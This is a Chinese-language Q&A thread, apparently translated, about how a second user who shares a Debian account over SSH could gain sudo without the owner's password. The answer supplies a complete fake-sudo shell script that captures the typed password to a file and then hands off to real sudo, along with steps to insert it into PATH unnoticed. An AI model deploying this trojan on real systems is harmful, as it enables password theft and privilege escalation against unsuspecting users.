无需sudo密码即可获取sudo权限

无需sudo密码即可获取sudo权限

背景:Debian Linux。

Alice 在机器上有一个用户帐户。她是 sudoers 之一并拥有安全密码。她仅使用 SSH 密钥通过 SSH 访问计算机(密码不起作用)。

由于某些管理错误,Bob 获得了对同一帐户的访问权限,而不是获得单独的帐户:他的 SSH 密钥被添加到authorized_keys.鲍勃没有从爱丽丝那里得到密码。

Bob 如何成功执行 sudo?假使,假设:

  • 除了对 Alice 帐户的 SSH 访问之外,Bob 无法访问服务器。
  • Alice 将定期连接到她的帐户,执行 sudo 等操作。

我想如果没有爱丽丝的合作,这是不可能完成的。因此,我正在寻找某种网络钓鱼或社会工程攻击,例如将 sudo 替换为首先记录密码的别名。

这基本上是一个传统的根升级问题,并具有(不知情的)用户合作的额外好处。

答案1

在过去,无需 Alice 的帮助,这也是可行的,因为sudo的令牌在终端会话中都是有效的:Bob 可以等待 Alice 通过 进行身份验证sudo,然后使用sudo自己,而无需输入密码。

即使使用每个终端令牌,只要 Alice 不始终彻底检查她的环境,在此处描述的场景中获取 Alice 的密码也相对容易:

  • 使用爱丽丝的帐户,创建~/.bin/sudo类似

    #!/bin/sh
    if [ $# = 0 ]; then exec /usr/bin/sudo; fi
    if [ ! -f ~/.bin/alices-password ]; then
      echo -n "[sudo] password for $USER: "
      read -s password
      echo
      echo ${password} > ~/.bin/alices-password
      sleep 2
      echo "Sorry, try again."
      /usr/bin/sudo -k
    fi
    exec /usr/bin/sudo "$@"
    
  • 添加~/.bin到相应的 rc 文件中的路径,具体取决于 Alice 使用的 shell;

  • 等待 Alice 在 shell 中使用,它已经注意到...sudo的存在~/.bin/sudo

Bob 可以等待密码出现~/.bin/alices-password并在禁用特殊变体之前亲自尝试(以不引人注目的方式执行此操作将作为读者的练习 - 请记住 shell 会缓存路径...)。

上面的脚本中有一些微妙之处,特别sudo -k是确保“抱歉,请重试”。实际上接下来会要求sudo输入密码。脚本可以进一步改进,这对读者来说是另一个练习!

正如您可能想象的那样,这不是唯一的方法......

相关内容